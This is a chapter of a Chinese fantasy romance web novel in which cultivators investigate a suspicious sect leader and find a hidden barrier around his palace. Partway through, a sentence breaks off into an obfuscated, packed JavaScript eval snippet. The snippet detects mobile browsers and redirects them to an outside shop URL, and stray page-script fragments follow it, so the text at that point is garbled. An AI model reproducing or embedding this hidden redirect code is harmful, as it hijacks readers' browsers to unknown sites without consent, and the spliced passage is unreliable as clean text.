“仙长,仙长怎的不去追?快去杀了他啊!”薛仁劫后余生,神乱心浮,攀附救命稻草般,朝着几人狂呼不已,声嘶力竭。
真是聒噪。
叶南枝暗地里翻了个白眼,转身面向薛仁的瞬间,那标志性的温和笑意已然挂上脸庞,眉眼弯弯,自带一股安定人心的力量:“方才只是那妖物的一个分身罢了,杀了它那妖物也不会死,得找到真身才行。”
“当真?”
薛仁先前因惊惧而失焦的眼,此刻却直勾勾地黏在了叶南枝脸上,挪不开半分。方才叶南枝一直隐在怀砚等人身后,他竟未留意其容貌,如今一看,眼睛都要直了。
怀砚脚下微动,上前挡住那猥琐视线。
“薛宗主莫不是还不信任我们吗?”叶南枝从大师兄身后探出脑袋来,循循善诱。
“仙长莫怪,我怎么会不信任仙长。”薛仁连连道歉。
经此一事,他开始对叶南枝一行人毕恭毕敬,连忙吩咐人好生伺候着。
见那薛仁忙不迭的安排人摆膳备酒,戈厘低声问叶南枝:“那当真是灵妖的分身?我怎么没看出来。”
叶南枝微微一笑,小声道:“当然不是,只是今天走累了不想动罢了,除魔卫道,也不急于这一时嘛。”
“仙长,膳备好了,请入席吧。”薛仁谄媚道。
不愧是千鸟岛唯一的仙门,一桌珍馐呈上,热气氤氲,香气扑鼻,饶是余袼这般在四方城吃惯了奇珍的少城主,此刻也不禁喉头微动。
叶南枝几人坐一桌,崔家四人坐在另一桌。
叶南枝看着面前那道清蒸雪梨,下意识看向宋也,正好撞上他看过来的目光。
她迅速转开眼。
怀砚并未立刻动筷,而是看向薛仁道:“你可知这妖物是什么来历,为何会来此处刺杀你。”
薛仁执杯的手几不可察地抖了一下,眼神飘忽,随即强自镇定地扯出个笑容:“这妖物的来历千鸟岛无人知晓,只知道他能变成不同的人模样,连最亲近的人都分辨不出真假,杀了数百人。”
“本宗主……我心系百姓安危,曾多次派遣高手绞杀,奈何那妖物狡诈万分,派去的人马尽数折损。它定是因此记恨于我,这才铤而走险,偷偷混入宗门之中企图刺杀我!”
叶南枝找准时间露出感动之色,举起面前酒杯,一饮而下,道:“原来如此,薛宗主仁心仁德,我们一定帮你铲除这烬魔,还千鸟岛一片安宁!”
那薛仁的笑容却僵在了脸上,道:“烬魔?这千鸟岛上哪来的烬魔,仙长莫不是说错了吧?”
叶南枝将他的表情尽收眼底,半晌,笑道:“确实,这千鸟岛哪里来的烬魔,平日里我们除魔多了,方才不小心说错了。”
薛仁呵呵两声,直说仙长真会说笑,脸色越来越难看。
戈厘见薛仁面如土色,便询问他可是不舒服,是刚才伤到了哪里吗?
薛仁勉强笑了笑谢过了戈厘的关心:“无妨,只是方才惊魂未定罢了。几位仙长远道而来,想必劳顿,那妖物既知仙长在此,定不敢再来,不如先行歇息,除妖之事……改日再从长计议?”
叶南枝却摇了摇头,十分正义凛然:“除妖安民,刻不容缓。我等虽疲,岂敢因一己之私误了苍生?此刻便去,定要擒住那妖物,还千鸟岛朗朗乾坤。”
薛仁干笑。
“过往探查这妖物卷宗何在?”
宋也声音突兀地响起,冷硬得没有半分回转余地。
薛仁有些怵这个寡言少语的年轻人,方才这人一剑刺进那妖胸口的凶狠模样还在他的脑子里,老老实实答道:“卷宗是有。”
但他又话音一转:“不过太过散乱,待我让人将卷宗都整理好再给几位仙长送来,今日还是先安顿吧。”
不等几人再开口,薛仁连饭都不吃了,急冲冲地离开了,仿佛身后真有索命厉鬼追赶,唯恐慢了一步,便被这几尊煞神一口吞了。
几人看着薛仁离开的背影,面色不一。
“这薛仁有问题。”宋也沉声道。
叶南枝点点头:“妖物横行,他却一点也不着急。”
宋也看着她道:“方才你试探说烬魔,他虽面露震惊,但似乎并非震惊此处会出现烬魔,而是不解烬魔出现在了这里。”
“宋公子在说什么绕口令呢?”戈厘被他俩的话绕来绕去,完全摸不着头脑。
叶南枝挑眉,回望宋也:“你怎知我是在试探他,宋师兄如今是要当我肚里的蛔虫了?”
宋也耳根泛红,咳嗽两声:“说正事。”
余袼看着他俩中间莫名其妙的气氛,又眼尖地瞥了眼怀砚的脸色,思索片刻,觉得现在的宋也应该是打不过怀砚的。
为了大师兄的小命着想,余袼企图加入话题:“不过这帝宫吃穿用度都极尽奢靡,倒是和传闻中不太一样。”
叶南枝和宋也分了他一个眼神,示意他继续。
“传闻千鸟岛凡人多,历任宗主皆标榜简朴、励精图治。可这殿宇雕梁画栋,一步一景,极尽奢靡。而且我看这薛仁似乎爱花成痴,宫中遍地奇卉,殿内也花团锦簇,皆艳丽逼人,这般排场,不知耗费多少人力养护。”
“可见传闻并不可靠,这薛仁也未必真是心系千鸟岛子民。”
“还不算太笨。”叶南枝评价。
“孺子可教。”宋也附和。
余袼不满:“喂喂喂你们俩,我好歹是四方城少城主,尊重一下呢?”
戈厘在一旁傻笑,余光看见不笑的怀砚,又默默拉下了脸。
“罢了,反正今天不除魔了,还是先吃饭吧。”余袼揉了揉肚子,抄起筷子便冲着珍馐去了。
“除魔?谁说我们是除魔了?”
叶南枝轻飘飘一句话飘过。
余袼顿住了。
叶南枝看着安安静静的悯生,缓缓道出她的发现:“今天刺杀薛仁的,就是妖,并非烬魔,但他身上有非常浓烈的魔息,若非在魔气浸骨之地经年蛰伏,断不会染上这般痕迹。”
余袼皱眉:“这岂不更糟?那妖的修为不过元婴,我们对付他并不难,但能让他染上这样重的魔息,得是多厉害的烬魔?”
叶南枝默然颔首。
一时之间,席间气氛凝重得几乎能拧出水来。
最终,还是怀砚先开口,声音平稳如古井无波:“兵来将挡,水来土掩。事已至此,先吃饭。”
余袼等这句话很久了,筷子直冲着宋也面前那盘清蒸鲈鱼的腹肉而去。
却见宋也又默不作声的将清蒸鱼放到了叶南枝的面前,看着余袼不可置信的目光,声线平平:“我不爱吃鱼。”
“第二次了大师兄!你不爱吃我爱吃啊,你放在我面前不就行了!”
余袼伸手便要将那盘鱼端过来,却被宋也一眼钉在了原地。
宋也盛了三碗汤,将其中一碗上面的葱花撇去,放到了叶南枝的面前。
他做这事时完全顺手,在洞穴中的时候,他就是这样伺候叶南枝的。
等他反应过来,才觉得似乎有些不妥。
宋也抬头,桌上除了叶南枝都看着他。
他面不改色地将另一碗汤放到余袼面前,又盛了两碗分别给怀砚和戈厘。
戈厘简直受宠若惊:“宋公子,你人真好,我们不过相识几日,你都能如此贴心,之前我还以为你是一个很冷淡的人呢,真是抱歉。”
这还是戈厘第一次被人这样对待,以往在艮为山,他都是被压榨的那个,哪次不是被叶南枝指使着干这干那的。
宋也嘴角扯了扯:“偶尔热心罢了。”
叶南枝咬着筷子,身子忍得一抖一抖的。
余袼看看宋也,又看看叶南枝,又看看宋也,终于乖乖地闭嘴喝汤了。
饭后,余袼本欲和几人商量下之后的计划。
叶南枝却打了个哈欠:“天色不早了,想来那灵妖今日不会再出现,我有些累了,便先去休息了。”
说完便朝着自己的房间走去。
怀砚也吃好了,拉着戈厘回房修习剑术去了。
“不商量下后面的计划?”余袼对着叶南枝的背影喊道。
叶南枝摆了摆手,关上了房门。
“还真是个大小姐脾气。”余袼小声嘀咕道,看向宋也,“也不知道靠不靠谱,可别拖后腿。”
宋也放下筷子:“她心里有数。”
“哟——”余袼拖长了尾音,揶揄地撑着下巴,“你们真是才认识没多久吗,怎么感觉像相处了很久似的,这么有默契。”
“你想多了。”宋也头也不回地也回了房间。
“一个二个的,都不把除妖当回事,这次还得看小爷我的。”余袼冲着几人的房间挥了挥拳头,也老老实实回了房间。
是夜,明月高悬,月光如水,一高一低两个人影同时出现在了院子里。
叶南枝看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779878|209193||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着一身玄色劲装的宋也,抬头看着月亮,右脚在地上画着圈圈:“好巧,宋师兄也是出来赏月的吗?”
宋也撇了她一眼,投身于夜色,朝着薛仁的寝宫方向而去,只丢下两个字:“跟上。”
怀砚看着两个相继而去的黑色身影,回头看了看睡的正香的戈厘,和隔壁早就累瘫的余袼,白日里一番折腾,加之灵气匮乏,这两人早已累极,睡得毫无防备。
今天和那妖交手,很显然不是几人的对手,因此他们也有些放松了警惕。
但毕竟妖物未除,还是小心为妙。
于是怀砚独自抱剑坐在窗杦上闭目养神。
而叶南枝和宋也两人一路躲过帝宫中的护卫,隐在一株虬结的老槐树影里。这棵树紧贴着薛仁寝宫的外墙,枝叶繁茂,恰好能将寝宫内外的灯火尽收眼底。
“这护卫可比我们刚来时多了一倍,你说他这是防谁呢?”叶南枝支着下巴,眺望着半夜三更还灯火通明的宫殿,侧首看着沉默的宋也,问,“你为何也觉得他有问题?”
宋也目光扫过她身侧的悯生剑:“薛仁靠近你时,悯生剑亮了。”
叶南枝颔首:“的确,当时悯生亮了一下,但十分微弱,可见这薛仁并不是烬魔,和那灵妖身上的魔气一样,只有多次和烬魔接触,才可能沾染上这样微弱的魔息。”
她一双狐狸眼弯弯的,闪着狡黠灵动的光芒,比今夜天上的星星更胜:“不过当时悯生只闪了一下,一般人都察觉不到,宋师兄居然能注意到。莫不是宋师兄时时刻刻都分了些心神在我身上?”
自从那日宋也给她修好玉环之后,她对宋也的态度又转变了些,不再冷冰冰刻意疏远,倒是又恢复了两人在秘境洞穴里相处最融洽之时的状态。
宋也眼神飘向远处宫灯,下颌线绷得死紧,面上仍端着那副清冷如山巅雪的模样,可耳尖那点红却顺着颈侧往下漫。
叶南枝莫名的心情愉悦,不知为何,她每次看到波澜不惊的宋也露出这样无措的模样,都觉得很开心。
宋也撇过脸去,半晌才继续开口道:“除此之外,来时我便察觉这宗门布局有悖常理,屋舍朝向,山水走势,均暗合阵法机理。”
叶南枝会意地点点头,她也注意到了这点:“起初我也只当是巧合,但方才你我绕路至此,我便确定,这帝宫似乎是一个镇压之阵,而阵眼便是这薛仁的寝屋。”
宋也看向方才突然熄灯的寝宫。
叶南枝从树上跳下,拍拍身上的尘土:“无论如何,进去一看便知。”
宋也紧随其后,落地无声,却见本来朝前走去的叶南枝突然停了下来,轻声问道:“怎么了?”
叶南枝玩味一笑,道:“有意思。”
她示意宋也朝前方地上看去。
离她脚尖不足半寸的地上,有一道若有若无的银光。
宋也顺着银光望去,发现这银光竟将整个寝宫密不透风地包围起来。
是结界。
一个连化神期修士都没有察觉到的结界。若方才叶南枝当真一脚踏了过去,一定会惊动内里之人。
千鸟岛凡人居多,纵使是宗主要求护卫,设下一道寻常障眼法足以,何须耗费如此巨大,布下这等连大能都难以察觉的精密结界?
“都说千鸟岛修士稀少,此处却有一道防护结界。这结界如此之大,设下结界之人至少在大乘之上。”叶南枝刚才差点一脚踩上这结界,却没有半分后怕,反而兴奋了起来,“这帝宫,这薛仁,倒是比我想得有趣。”
“这里不简单,”宋也提醒她莫要轻敌,“今日先回去,静观其变。”
两人原路返回。
分开前,宋也叫住了叶南枝。
宋也从乾坤袋中拿出一个石头。
石身温润,泛着暖玉般的光泽,更有馥郁安神的香气从中袅袅散出,闻之令人心神宁静。
他递给叶南枝:“放在枕边能够安眠。”
叶南枝认得此物,这是近来沉水境风靡一时的凝神香石,瞧这成色崭新,灵气未散,应当是近日才购入的。
她看着宋也眼底紧绷,莫名的,似乎感觉他眼中有希望她不要说话的虔诚祈祷。
叶南枝觉得有趣,莞尔一笑,什么也没说,欣然收下。
第二天,余袼看着宋也和叶南枝眼下如出一辙微微的青黑,大惊小怪道:“你俩昨晚干什么去了,怎么都是一副精气被吸干、萎靡不振的尊容。”